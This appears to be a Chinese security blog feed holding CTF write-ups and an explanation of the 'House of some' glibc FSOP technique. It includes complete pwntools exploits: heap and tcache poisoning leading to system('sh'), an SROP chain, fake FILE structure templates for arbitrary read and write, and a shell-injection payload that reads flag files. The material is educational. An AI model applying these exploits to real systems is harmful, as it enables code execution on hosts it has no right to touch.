&lt;p&gt;House of Apple 2的教程见https://bbs.kanxue.com/thread-273832.htm，这里膜拜一下Orz&lt;/p&gt;
&lt;p&gt;经过我的调优可以简化到如下的布局&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;system = 0x50d60 + libc_base
fake_file = flat({
    0x0: b&quot;  sh;&quot;,
    0x28: system,
    0xa0: fake_file_addr-0x10, # wide data
    0x88: fake_file_addr+0x100, # 可写，且内存为0即可
    0xD0: fake_file_addr+0x28-0x68, # wide data vtable
    0xD8: libc_base + 0x2160C0, # vtable  
}, filler=b&quot;\x00&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们需要结合当前的情况在做调整，首先我们需要再次延长可控的空间，方法也简单，毕竟Tcache bin的Count有3，我们可以先伪造一次fd到堆上，再伪造进入&lt;code&gt;_IO_list_all&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;（为何不劫持Tcache bin管理块呢？因为我们只能拥有一个堆块，需要free之后再次malloc才能控制下一个，一旦劫持到Tcachebin 管理块，没有一个合适的size位置，是无法成功free的）&lt;/p&gt;
&lt;p&gt;由于大小范围可控需要0xe0长度，所以我们第一个堆块需要扩展一次，使用上面的0x50的堆块对下面0x90tcache的溢出修改，使得布局如下图，这样子Chunk 1申请出来的时候，可以保证能控制到Chunk 2的fd，依旧能继续攻击，也能延长可控范围到0xf0，使得攻击成立，而Chunk 1的size改为0x71是为了防止free之后进入0x90导致后面的Chunk无法取出&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;houseofminho-wp/houseofminho_tcachebin.png&quot; alt=&quot;houseofminho_tcachebin&quot; /&gt;&lt;/p&gt;
&lt;p&gt;那么经过简单的布置，最终攻击&lt;code&gt;_IO_list_all&lt;/code&gt;之后，就完成了House of Apple 2的攻击&lt;/p&gt;
&lt;h1&gt;完整Exp&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context.log_level = &apos;info&apos;
context.arch = &apos;amd64&apos;
# io = process(&quot;./minho&quot;)
io = remote(&quot;127.0.0.1&quot;, 5000)
tob = lambda x: str(x).encode()

def add(size, content):
    io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;1&quot;)
    io.sendlineafter(b&quot;Size [1=small / 2=big]: &quot;, tob(size))
    io.sendafter(b&quot;Data: &quot;, content)

def add2(size_content, content):
    io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;1&quot;)
    io.sendlineafter(b&quot;Size [1=small / 2=big]: &quot;, size_content)
    io.sendafter(b&quot;Data: &quot;, content)

def show():
    io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;2&quot;)

def show2(len):
    io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;0&quot; * (len-1) + b&quot;2&quot;)

def show3(len):
    io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;0&quot; * (len-1) + b&quot;2&quot; + b&quot;\x00&quot;)

def free():
    io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;3&quot;)

def free3(len):
    io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;0&quot; * (len-1) + b&quot;3&quot;)

free3(0xd59) # 这一行的作用见上文【伪造Unsorted bin】

# 这一部分信息收集见上文【信息收集】
add(1, b&quot;a&quot; * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b&quot;a&quot; * 0x50)
show()
io.recvuntil(b&quot;Data: &quot; + b&quot;a&quot; * 0x50)
libc_base = u64(io.recvuntil(b&quot;\n&quot;, drop=True).ljust(8, b&quot;\x00&quot;)) - 0x219ce0
log.success(f&quot;libc_base : {libc_base:#x}&quot;)
free()
add(1, b&quot;a&quot; * 0x48 + p64(0xcf1))

free()
add(2, b&quot;a&quot;)
free()
add(1, b&quot;aaaa&quot;)
free()
add(2, b&quot;aaaa&quot;)
free()
add(1, b&quot;a&quot; * 0x50)
show()
io.recvuntil(b&quot;Data: &quot; + b&quot;a&quot; * 0x50)
heap_base = u64(io.recvuntil(b&quot;\n&quot;, drop=True).ljust(8, b&quot;\x00&quot;)) &amp;lt;&amp;lt; 12
log.success(f&quot;heap_base : {heap_base:#x}&quot;)
free()

# 见上文【Unlink攻击以及Smallbin伪造攻击实施】
add(1, b&quot;a&quot; * 0x10 + p64(0) + p64(0x31) + p64(heap_base+0x2c0) * 2 +  b&quot;a&quot; * 0x10 + p64(0x30) + p64(0xd00))
free()
add(2, b&quot;a&quot; * 0x50 + p64(0x90) + p64(0x10) + p64(0x00) + p64(0x11))
free()
add(1, flat({
    0x10: 0,
    0x18: 0x91,
    0x20: heap_base + 0x380,
    0x28: libc_base + 0x219ce0,
}, filler=b&quot;\x00&quot;))

show2(0x1000)
free()

# 见上文【修改Small bin】
add(1, flat({
    0x10 : {
            0x00: 0,
            0x08: 0x91,
            0x10: heap_base + 0x2c0,
            0x18: heap_base + 0x2c0 + 0x30,
            
            0x30: 0,
            0x38: 0x91,
            0x40: heap_base + 0x2c0,
            0x48: heap_base + 0x2c0 + 0x50,

            0x50: 0,
            0x58: 0x91,
            0x60: heap_base + 0x2c0 + 0x30,
            0x68: libc_base + 0x219d60
        }
    }
, filler=b&quot;\x00&quot;))
free()
add(2, b&quot;aaaa&quot;)
free()
_IO_list_all = libc_base + 0x21a680
system = 0x50d60 + libc_base

fake_file = heap_base + 0x2e0
# 见上文House of apple 2中解释
add(1, b&quot;a&quot;*0x10+p64(0) + p64(0x71) + p64((heap_base + 0x2d0 + 0x70)^((heap_base)&amp;gt;&amp;gt;12)))
free()
# 这里是布置House of apple 2
add(2, flat({
    0x0+0x10: b&quot;  sh;&quot;,
    0x28+0x10: system,
    0x68: 0x71,
    0x70: _IO_list_all ^((heap_base)&amp;gt;&amp;gt;12),
}, filler=b&quot;\x00&quot;))
free()
add(2, flat({
    0xa0-0x60: fake_file-0x10,
    0xd0-0x60: fake_file+0x28-0x68,
    0xD8-0x60: libc_base + 0x2160C0, # jumptable 
}, filler=b&quot;\x00&quot;))
free()
add(2, p64(fake_file))
pause(1)
io.sendline(b&quot;0&quot;)
pause(1)
io.sendline(b&quot;cat /flag*&quot;)

io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;houseofminho-wp/image-20231118024517191.png&quot; alt=&quot;image-20231118024517191&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Flag获得完结撒花！&lt;/p&gt;
</content:encoded></item><item><title>Bring back the stack attack -- House of some一种高版本glibc的利用思路</title><link>https://blog.csome.cc/p/house-of-some/</link><guid isPermaLink="true">https://blog.csome.cc/p/house-of-some/</guid><pubDate>Fri, 17 Nov 2023 22:21:52 GMT</pubDate><content:encoded>&lt;h1&gt;概述&lt;/h1&gt;
&lt;p&gt;House of some是一条改进House of apple2的新链，也是一种攻击思路，效果十分显著，并且可以适用于未来的高版本，可以实现任意地址写，其中触发条件为&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;已知glibc基地址&lt;/li&gt;
&lt;li&gt;可控的已知地址（可写入内容构造fake file）&lt;/li&gt;
&lt;li&gt;需要一次libc内任意地址写可控地址&lt;/li&gt;
&lt;li&gt;程序能正常退出或者通过exit()退出&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;House of some具有以下优点：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;无视目前的&lt;code&gt;IO_validate_vtable&lt;/code&gt;检查（wide_data的vtable加上检查也可以打）&lt;/li&gt;
&lt;li&gt;第一次任意地址写要求低&lt;/li&gt;
&lt;li&gt;最后攻击提权是栈上ROP，可以不需要栈迁移&lt;/li&gt;
&lt;li&gt;源码级攻击，不依赖编译结果&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;自动化脚本(将于2024年2月1日发布)https://github.com/CsomePro/Some-of-House&lt;/p&gt;
&lt;h1&gt;利用思路&lt;/h1&gt;
&lt;h2&gt;构造任意地址写的fake file&lt;/h2&gt;
&lt;p&gt;首先回顾一下House of apple2 https://bbs.kanxue.com/thread-273832.htm&lt;/p&gt;
&lt;p&gt;其中有一条链是如下进行的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;_IO_wfile_overflow
    _IO_wdoallocbuf
        _IO_WDOALLOCATE
            *(fp-&amp;gt;_wide_data-&amp;gt;_wide_vtable + 0x68)(fp)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果&lt;code&gt;fp-&amp;gt;_wide_data-&amp;gt;_wide_vtable&lt;/code&gt;加上了检查，那么只能选择虚表内的函数进行执行，我们能够选什么呢？&lt;/p&gt;
&lt;p&gt;那么就需要&lt;code&gt;_IO_new_file_underflow&lt;/code&gt;这个函数出场了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int
_IO_new_file_underflow (FILE *fp)
{
  ssize_t count;

  /* C99 requires EOF to be &quot;sticky&quot;.  */
  if (fp-&amp;gt;_flags &amp;amp; _IO_EOF_SEEN)
    return EOF;

  if (fp-&amp;gt;_flags &amp;amp; _IO_NO_READS)
    {
      fp-&amp;gt;_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  if (fp-&amp;gt;_IO_read_ptr &amp;lt; fp-&amp;gt;_IO_read_end)
    return *(unsigned char *) fp-&amp;gt;_IO_read_ptr;

  if (fp-&amp;gt;_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp-&amp;gt;_IO_save_base != NULL)
	{
	  free (fp-&amp;gt;_IO_save_base);
	  fp-&amp;gt;_flags &amp;amp;= ~_IO_IN_BACKUP;
	}
      _IO_doallocbuf (fp);
    }

  /* FIXME This can/should be moved to genops ?? */
  if (fp-&amp;gt;_flags &amp;amp; (_IO_LINE_BUF|_IO_UNBUFFERED))
    {
      /* We used to flush all line-buffered stream.  This really isn&apos;t
	 required by any standard.  My recollection is that
	 traditional Unix systems did this for stdout.  stderr better
	 not be line buffered.  So we do just that here
	 explicitly.  --drepper */
      _IO_acquire_lock (stdout);

      if ((stdout-&amp;gt;_flags &amp;amp; (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
	  == (_IO_LINKED | _IO_LINE_BUF))
	_IO_OVERFLOW (stdout, EOF);

      _IO_release_lock (stdout);
    }

  _IO_switch_to_get_mode (fp);

  /* This is very tricky. We have to adjust those
     pointers before we call _IO_SYSREAD () since
     we may longjump () out while waiting for
     input. Those pointers may be screwed up. H.J. */
  fp-&amp;gt;_IO_read_base = fp-&amp;gt;_IO_read_ptr = fp-&amp;gt;_IO_buf_base;
  fp-&amp;gt;_IO_read_end = fp-&amp;gt;_IO_buf_base;
  fp-&amp;gt;_IO_write_base = fp-&amp;gt;_IO_write_ptr = fp-&amp;gt;_IO_write_end
    = fp-&amp;gt;_IO_buf_base;

  count = _IO_SYSREAD (fp, fp-&amp;gt;_IO_buf_base,
		       fp-&amp;gt;_IO_buf_end - fp-&amp;gt;_IO_buf_base);
  if (count &amp;lt;= 0)
    {
      if (count == 0)
	fp-&amp;gt;_flags |= _IO_EOF_SEEN;
      else
	fp-&amp;gt;_flags |= _IO_ERR_SEEN, count = 0;
  }
  fp-&amp;gt;_IO_read_end += count;
  if (count == 0)
    {
      /* If a stream is read to EOF, the calling application may switch active
	 handles.  As a result, our offset cache would no longer be valid, so
	 unset it.  */
      fp-&amp;gt;_offset = _IO_pos_BAD;
      return EOF;
    }
  if (fp-&amp;gt;_offset != _IO_pos_BAD)
    _IO_pos_adjust (fp-&amp;gt;_offset, count);
  return *(unsigned char *) fp-&amp;gt;_IO_read_ptr;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们可以发现在&lt;code&gt;_IO_new_file_underflow&lt;/code&gt;函数内会调用&lt;code&gt;_IO_SYSREAD (fp, fp-&amp;gt;_IO_buf_base,fp-&amp;gt;_IO_buf_end - fp-&amp;gt;_IO_buf_base)&lt;/code&gt;宏其对应的常规read函数如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssize_t
_IO_file_read (FILE *fp, void *buf, ssize_t size)
{
  return (__builtin_expect (fp-&amp;gt;_flags2 &amp;amp; _IO_FLAGS2_NOTCANCEL, 0)
	  ? __read_nocancel (fp-&amp;gt;_fileno, buf, size)
	  : __read (fp-&amp;gt;_fileno, buf, size));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后是调用syscall(read)读，我们可以看到read的三个参数都是可控的&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;fd&lt;/code&gt;=&amp;gt;&lt;code&gt;fp-&amp;gt;_fileno&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;buf&lt;/code&gt;=&amp;gt;&lt;code&gt;fp-&amp;gt;_IO_buf_base&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;size&lt;/code&gt;=&amp;gt;&lt;code&gt;fp-&amp;gt;_IO_buf_end - fp-&amp;gt;_IO_buf_base&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;那么就可以构造一个任意地址写，那么有了任意地址写之后有啥用呢？FSOP！&lt;/p&gt;
&lt;p&gt;我们再回到&lt;code&gt;_IO_flush_all&lt;/code&gt;函数观察一下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int
_IO_flush_all (void)
{
  int result = 0;
  FILE *fp;

#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif

  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp-&amp;gt;_chain)
    {
      run_fp = fp;
      _IO_flockfile (fp);

      if (((fp-&amp;gt;_mode &amp;lt;= 0 &amp;amp;&amp;amp; fp-&amp;gt;_IO_write_ptr &amp;gt; fp-&amp;gt;_IO_write_base)
	   || (_IO_vtable_offset (fp) == 0
	       &amp;amp;&amp;amp; fp-&amp;gt;_mode &amp;gt; 0 &amp;amp;&amp;amp; (fp-&amp;gt;_wide_data-&amp;gt;_IO_write_ptr
				    &amp;gt; fp-&amp;gt;_wide_data-&amp;gt;_IO_write_base))
	   )
	  &amp;amp;&amp;amp; _IO_OVERFLOW (fp, EOF) == EOF)
	result = EOF;

      _IO_funlockfile (fp);
      run_fp = NULL;
    }

#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif

  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中的for循环我们可以看到对于&lt;code&gt;_IO_list_all&lt;/code&gt;上的单向链表，通过了&lt;code&gt;_chain&lt;/code&gt;串起来，并在&lt;code&gt;_IO_flush_all&lt;/code&gt;中，会遍历链表上每一个FILE，如果条件成立，就可以调用&lt;code&gt;_IO_OVERFLOW(fp, EOF) &lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp-&amp;gt;_chain) 
{
    ...
      if (((fp-&amp;gt;_mode &amp;lt;= 0 &amp;amp;&amp;amp; fp-&amp;gt;_IO_write_ptr &amp;gt; fp-&amp;gt;_IO_write_base)
	   || (_IO_vtable_offset (fp) == 0
	       &amp;amp;&amp;amp; fp-&amp;gt;_mode &amp;gt; 0 &amp;amp;&amp;amp; (fp-&amp;gt;_wide_data-&amp;gt;_IO_write_ptr
				    &amp;gt; fp-&amp;gt;_wide_data-&amp;gt;_IO_write_base))
	   )
	  &amp;amp;&amp;amp; _IO_OVERFLOW (fp, EOF) == EOF)
	...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么接下来就开始构造一个实现任意地址写的fake file&lt;/p&gt;
&lt;p&gt;由于&lt;code&gt;_IO_new_file_underflow&lt;/code&gt;内有一个&lt;code&gt;_IO_switch_to_get_mode&lt;/code&gt;函数其中有这个分支&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (fp-&amp;gt;_IO_write_ptr &amp;gt; fp-&amp;gt;_IO_write_base)
    if (_IO_OVERFLOW (fp, EOF) == EOF)
      return EOF;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果还是使用&lt;code&gt;fp-&amp;gt;_IO_write_ptr &amp;gt; fp-&amp;gt;_IO_write_base&lt;/code&gt;来使得触发OVERFLOW就会出现无限递归，所以不可行，我们需要采取另一个分支，即&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (((fp-&amp;gt;_mode &amp;lt;= 0 &amp;amp;&amp;amp; fp-&amp;gt;_IO_write_ptr &amp;gt; fp-&amp;gt;_IO_write_base) // 不可行
	   || (_IO_vtable_offset (fp) == 0                      // 使用||之后的分支
	       &amp;amp;&amp;amp; fp-&amp;gt;_mode &amp;gt; 0 &amp;amp;&amp;amp; (fp-&amp;gt;_wide_data-&amp;gt;_IO_write_ptr
				    &amp;gt; fp-&amp;gt;_wide_data-&amp;gt;_IO_write_base))
	   )
	  &amp;amp;&amp;amp; _IO_OVERFLOW (fp, EOF) == EOF)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么实现任意地址读的fake file设置如下&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;_flags&lt;/code&gt;设置为&lt;code&gt;~(2 | 0x8 | 0x800)&lt;/code&gt;，设置为&lt;code&gt;0&lt;/code&gt;即可（与apple2相同）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vtable&lt;/code&gt;设置为&lt;code&gt;_IO_wfile_jumps/_IO_wfile_jumps_mmap&lt;/code&gt;地址，使得调用&lt;code&gt;_IO_wfile_overflow&lt;/code&gt;即可（注意此处与apple2不同的是，此处的vtable不能加偏移，否则会打乱&lt;code&gt;_IO_SYSREAD&lt;/code&gt;的调用）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_wide_data-&amp;gt;_IO_write_base&lt;/code&gt;设置为&lt;code&gt;0&lt;/code&gt;，即满足&lt;code&gt;*(_wide_data + 0x18) = 0&lt;/code&gt;（与apple2相同）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_wide_data-&amp;gt;_IO_write_ptr&lt;/code&gt;设置为大于&lt;code&gt;_wide_data-&amp;gt;_IO_write_base&lt;/code&gt;，即满足&lt;code&gt;*(_wide_data + 0x20) &amp;gt; *(_wide_data + 0x18)&lt;/code&gt;（注意此处不同）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_wide_data-&amp;gt;_IO_buf_base&lt;/code&gt;设置为&lt;code&gt;0&lt;/code&gt;，即满足&lt;code&gt;*(_wide_data + 0x30) = 0&lt;/code&gt;（与apple2相同）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_wide_data-&amp;gt;_wide_vtable&lt;/code&gt;设置为任意一个包含&lt;code&gt;_IO_new_file_underflow&lt;/code&gt;，其中原生的vtable就有，设置成&lt;code&gt;_IO_file_jumps-0x48&lt;/code&gt;即可&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_vtable_offset&lt;/code&gt;设置为&lt;code&gt;0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_IO_buf_base&lt;/code&gt;与&lt;code&gt;_IO_buf_end&lt;/code&gt;设置为你需要写入的地址范围&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_chain&lt;/code&gt;设置为你下一个触发的fake file地址&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_IO_write_ptr &amp;lt;= _IO_write_base&lt;/code&gt;即可&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_fileno&lt;/code&gt;设置为&lt;code&gt;0&lt;/code&gt;，表示&lt;code&gt;read(0, buf, size)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_mode&lt;/code&gt;设置为&lt;code&gt;2&lt;/code&gt;，满足&lt;code&gt;fp-&amp;gt;_mode &amp;gt; 0&lt;/code&gt;即可&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;一个任意地址写的fake file模板如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fake_file_read = flat({
    0x00: 0, # _flags
    0x20: 0, # _IO_write_base
    0x28: 0, # _IO_write_ptr
    
    0x38: 任意地址写的起始地址, # _IO_buf_base
    0x40: 任意地址写的终止地址, # _IO_buf_end
	
    0x70: 0, # _fileno
    0x82: b&quot;\x00&quot;, # _vtable_offset
    0xc0: 2, # _mode
    0xa0: wide_data的地址, # _wide_data
    0x68: 下一个调用的fake file地址, # _chain
    0xd8: _IO_wfile_jumps, # vtable
}, filler=b&quot;\x00&quot;)

fake_wide_data = flat({
    0xe0: _IO_file_jumps - 0x48,
    0x18: 0,
    0x20: 1,
    0x30: 0,
}, filler=b&quot;\x00&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;构造任意地址读的fake file&lt;/h2&gt;
&lt;p&gt;这个就很简单了，以前也有这些研究，利用&lt;code&gt;_IO_write_base&lt;/code&gt;和&lt;code&gt;_IO_write_ptr&lt;/code&gt;实现任意地址读，这里给出构造模板，具体原理网上有很多教程&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fake_file_write = flat({
    0x00: 0x800 | 0x1000, # _flags
    
    0x20: 需要泄露的起始地址, # _IO_write_base
    0x28: 需要泄露的终止地址, # _IO_write_ptr

    0x70: 1, # _fileno
    0x68: 下一个调用的fake file地址, # _chain
    0xd8: _IO_file_jumps, # vtable
}, filler=b&quot;\x00&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;FSOP！&lt;/h2&gt;
&lt;p&gt;我们已经有了任意地址读、任意地址写的fake file构造，那么只需要将其用&lt;code&gt;_chain&lt;/code&gt;串起来就可以达成强大的攻击效果&lt;/p&gt;
&lt;p&gt;那么我将House of some的攻击流程分成4步（RWRWR过程）（这也是一个广泛的思路，拥有任意地址写就不止一个方法了）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;第一步  任意地址写&lt;code&gt;_chain&lt;/code&gt;，这里可以写&lt;code&gt;_IO_list_all&lt;/code&gt;或者stdin、stdout、stderr的&lt;code&gt;_chain&lt;/code&gt;位置，在这一步需要在可控地址上布置一个任意地址写的Fake file，之后将Fake file地址写入上述位置&lt;/li&gt;
&lt;li&gt;第二步 扩展fake file链条并泄露栈地址，在第一步的中，我们只有一个fake file，并不能完成更复杂的操作，所以这一步我们需要写入两个fake file，一个用于泄露&lt;code&gt;environ&lt;/code&gt;内的值（即栈地址），另一个用于写入下一个fake file&lt;/li&gt;
&lt;li&gt;第三步 泄露栈内数据，并寻找ROP起始地址，这一步同样需要写入两个fake file，一个任意地址读，读取栈上内存，另一个任意地址写，向栈上写ROP&lt;/li&gt;
&lt;li&gt;第三步 写入ROP，实现栈上ROP攻击！&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下图是攻击的图示，黄色代表&lt;code&gt;_IO_flush_all&lt;/code&gt;还未遍历的FILE，黑色代表已经处理过的FILE&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;house-of-some/House-of-some.png&quot; alt=&quot;House of some&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;简单的分析&lt;/h1&gt;
&lt;p&gt;这个链条是基于House of apple2基础上衍生的，为什么需要apple2呢？因为，在意外调用vtable的过程中，需要给vtable项加上偏移，但是&lt;code&gt;_IO_SYSREAD&lt;/code&gt;等宏也是通过偏移索引，所以会导致偏移出错无法按照预定逻辑，那么就想到wide data内的vtable，修改此处的偏移可以不影响IO FILE的vtable。&lt;/p&gt;
&lt;p&gt;这个利用链条从源码中分析得出，不依赖二进制编译结果，以及可以无视加上wide data内的vtable的检查，这就导致了非常强大的泛用性。&lt;/p&gt;
&lt;p&gt;同时House of some带回了原生的FSOP流程（RWRWR过程），我们重新回到了起点——angelboy提出的FSOP原来的样子，利用chain把一个一个fake file串起来，通过多次的fake file调用&lt;code&gt;_IO_OVERFLOW&lt;/code&gt;，实现二次泄露甚至多次泄露，使得我们游走在任意地址中，修改任意的地址内容！&lt;/p&gt;
&lt;p&gt;为何选择栈上ROP，因为这是最简单最有效最暴力的攻击方法，可以无需栈迁移，无视canary（任意读可以泄露，甚至我能控制写入起点，可以选择canary后面作为起点），最后栈溢出永不过时！&lt;/p&gt;
</content:encoded></item><item><title>[2023NepCTF] Csome Writeup</title><link>https://blog.csome.cc/p/2023NepCTF/</link><guid isPermaLink="true">https://blog.csome.cc/p/2023NepCTF/</guid><pubDate>Tue, 15 Aug 2023 16:11:37 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;纪念一下，打的很爽Pwn抢了4道一血，可惜最后3分钟第一被超了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2023NepCTF/image-20230815163205113.png&quot; alt=&quot;image-20230815163205113&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Pwn&lt;/h1&gt;
&lt;h2&gt;srop&lt;/h2&gt;
&lt;p&gt;Srop一把梭，这里要注意，跳转是PLT表的syscall函数和真实的系统调用不一样，在函数内会将rdi赋值给rax，后面的参数寄存器都要后移一位&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context.arch = &quot;amd64&quot;
context.log_level = &apos;debug&apos;
# io = process(&quot;./pwn&quot;)
io = remote(&quot;nepctf.1cepeak.cn&quot;, 31943)

mov_eax_15 = 0x0000400754
buf = 0x00000601050
ret = 0x004007AE
syscall = 0x0004005B0
pop_rdi = 0x0000000000400813
stack = 0x0601a50

frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = 0
frame.rdx = stack-0x8
frame.rcx = 0x1000
frame.rip = syscall
frame.rsp = stack

payload = b&quot;a&quot; * (0x0030+8) + flat([
    pop_rdi,
    15,
    syscall
]) + bytes(frame)


io.send(payload)
sleep(0.5)

frame = SigreturnFrame()
frame.rdi = 2
frame.rsi = stack-0x8
frame.rdx = 0
frame.rcx = 0x1000
frame.rip = syscall
frame.rsp = stack + 0x110
payload = b&quot;./flag\x00\x00&quot; + flat([
    pop_rdi,
    15,
    syscall 
]) + bytes(frame) 

frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = 3
frame.rdx = stack-0x100
frame.rcx = 0x40
frame.rip = syscall
frame.rsp = stack + 0x110 + 0x110
payload += flat([
    pop_rdi,
    15,
    syscall 
]) + bytes(frame) 

frame = SigreturnFrame()
frame.rdi = 1
frame.rsi = 1
frame.rdx = stack-0x100
frame.rcx = 0x40
frame.rip = syscall
frame.rsp = stack + 0x110 + 0x110 + 0x110
payload += flat([
    pop_rdi,
    15,
    syscall 
]) + bytes(frame) 

log.success(f&quot;length {len(payload):#x}&quot;)
io.send(payload)

io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;HRPVM2.0&lt;/h2&gt;
&lt;p&gt;核心思想是替换文件，这里重写了kernel文件，之后python再次调用程序就可以执行了shell了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2023NepCTF/image-20230814091413997.png&quot; alt=&quot;image-20230814091413997&quot; /&gt;&lt;/p&gt;
&lt;p&gt;命令顺序如下，这里不能输入#，但是shell脚本使用Popen需要有shabang开头，但是shabang并不被sh执行，但输入又不能输入回车，所以这里可以采用env -S绕过&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir app/templates
cd app/templates
echo #!/usr/bin/env -S python3 -c &quot;import os; os.system(&apos;cat flag&apos;)&quot;&amp;gt;kernel
mount kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;2023NepCTF/image-20230814091915281.png&quot; alt=&quot;image-20230814091915281&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是mount会需要权限校验，这里需要利用溢出漏洞，off by &quot;two&quot;，也就是爆破1/16，踩中一个权限偏移内不为0的有效的堆地址，就可以绕过权限校验&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2023NepCTF/image-20230814091404375.png&quot; alt=&quot;image-20230814091404375&quot; /&gt;&lt;/p&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
import requests
req = requests.session()

url = &quot;http://nepctf.1cepeak.cn:30424&quot;
req.get(url)

context.log_level = &apos;debug&apos;
# io = process(&quot;./kernel&quot;)
io = tube()
def io_recv_raw(*a):
    r = req.get(url + &quot;/receive&quot;)
    print(r.json())
    return r.json().get(&apos;output&apos;, &quot;&quot;).encode(&quot;utf-8&quot;)
def io_send_raw(x):
    r = req.post(url + &quot;/send&quot;, data={&quot;input&quot;: x})
    
io.recv_raw = io_recv_raw
io.send_raw = io_send_raw
# tob = lambda x: x.encode(&quot;utf-8&quot;)

def rm(file):
    io.sendafter(b&quot;$&quot;, b&quot;rm %b&quot; % (file,))

def cat(file):
    io.sendafter(b&quot;$&quot;, b&quot;cat %b&quot; % (file,))

def init(content):
    io.sendafter(&quot;Make a wish to Nepnep&quot;, content)

def echo(file, content):
    io.sendafter(b&quot;$&quot;, b&quot;echo %b&amp;gt;%b&quot; % (content, file))

def mkdir(name):
    io.sendafter(b&quot;$&quot;, b&quot;mkdir %b&quot; % (name,))

def cd(name):
    io.sendafter(b&quot;$&quot;, b&quot;cd %b&quot; % (name,))

def exec(name):
    io.sendafter(b&quot;$&quot;, b&quot;exec %b&quot; % (name,))

def id():
    io.sendafter(b&quot;$&quot;, b&quot;id&quot;)

def mount(name):
    io.sendafter(b&quot;$&quot;, b&quot;mount %b&quot; % (name,))

def leave():
    io.sendafter(b&quot;$&quot;, b&quot;exit&quot;)

for i in range(32, 127):
